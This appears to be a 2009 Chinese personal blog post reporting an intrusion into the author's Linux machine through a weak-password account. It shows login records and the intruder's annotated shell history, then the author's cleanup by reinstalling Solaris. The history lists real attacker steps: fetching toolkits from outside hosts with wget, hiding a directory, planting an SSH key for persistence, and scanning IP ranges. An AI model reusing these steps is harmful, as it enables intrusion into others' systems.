发生了一件很不可思议的事情
February 13, 2009 (Friday) 19:19 CST+0800
那就是。。。我的计算机被入侵了!
啥也不说了,发日志。
alex:~> last
alex pts/1 :0.0 Fri Feb 13 19:05 still logged in
alex pts/0 :0.0 Fri Feb 13 18:40 still logged in
alex tty7 :0 Fri Feb 13 17:36 still logged in
reboot system boot 2.6.27-9-generic Fri Feb 13 17:25 - 19:05 (01:40)
alex pts/1 124.135.202.67 Fri Feb 13 14:26 - 14:50 (00:23)
alex pts/1 61.185.61.3 Fri Feb 13 12:15 - 13:07 (00:51)
root pts/0 :0.0 Fri Feb 13 12:06 - down (04:40)
alex tty7 :0 Fri Feb 13 12:06 - down (04:41)
reboot system boot 2.6.27-9-generic Fri Feb 13 12:04 - 16:47 (04:43)
jack pts/0 86.122.67.104 Sun Feb 1 19:04 - crash (11+16:59)
root pts/0 211.136.73.103 Sun Feb 1 17:52 - 17:57 (00:04)
alex pts/0 218.58.71.19 Sun Feb 1 13:21 - 13:26 (00:05)
wtmp begins Sun Feb 1 13:21:07 2009
jack这个用户是给我爸爸用的,自然不是什么强密码。经查,86.122.67.104是个罗马尼亚的IP。
由于我用的是bash,有个文件帮了我的忙,那就是 .bash_history
看看他/她/它到底干了什么。
还是看看这些吧。
/home/jack/.:
总用量 148K
drwxr-xr-x 27 jack jack 4.0K 2009-01-31 20:44 .
drwxr-xr-x 5 root root 4.0K 2009-02-13 12:27 ..
-rw------- 1 jack jack 969 2009-02-01 21:19 .bash_history
-rw-r--r-- 1 jack jack 220 2009-01-28 02:25 .bash_logout
-rw-r--r-- 1 jack jack 3.1K 2009-01-28 02:25 .bashrc
另外一些令人发指的东西 。
alex:~> sudo cat /home/jack/.bash_history
[sudo] password for alex:
w ;算懂点,知道看看管理员在线不
cat /proc/cpuinfo
passwd ;有意思么?
w
id
ls -a
uname -a
cd /dev/shm
mkdir " " ;真无趣
cd " "
wget http://das.trei.ro/DaS.tgz
tar zxvf DaS.tgz
cd DaS
nano mech.set ;不会vi吧
nano 2
nano 3
nano 4
./- ;清日志?
cd ..
ls -a
w
cat /proc/cpuinfo
w
cat /proc/cpuinfo
cd ~
mkdir .ssh
cd .ssh
echo "ssh-rsa SOMETHING" >> authorized_keys ;没用了。
chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys
cd /tmp
ls -a
wget www.especial.ucoz.com/a.jpg
tar xzvf a.jpg
rm -rf a.jpg
cd .r
ls -a
nano start
nano a
chmod +x *
ls -a
./a 210.230;./a 210.231;./a 210.232;./a 210.233;./a 210.234;./a 210.235;./a 210.236;./a 210.237;./a 210.238;./a 210.239;./a 210.240;./a 210.241;./a 210.242;./a 210.243;./a 210.244;./a 210.245;./a 210.246;./a 210.247;./a 210.248;./a 210.249 ;增加自己的IP不用登录?不大可能,一回看看到底是啥玩意。
w
ps x
w
ps x
cd /tmp
ls -a
cd .r
nano start
./screen
ls -a
screen
还有 。
alex:/home/jack> ls -laht
总用量 148K
drwxr-xr-x 5 root root 4.0K 2009-02-13 12:27 ..
-rw------- 1 jack jack 969 2009-02-01 21:19 .bash_history
drwx------ 2 jack jack 4.0K 2009-01-31 20:45 .ssh
drwxr-xr-x 27 jack jack 4.0K 2009-01-31 20:44 .
大概明白了?
现在做善后工作:
下载Solaris 10/08光盘镜像;买了一个DVD刻录机,刻盘,拔掉被入侵的硬盘,换上另外一块安全硬盘,全新安装Solaris 10.
部署zone,配置服务


and Solaris 11.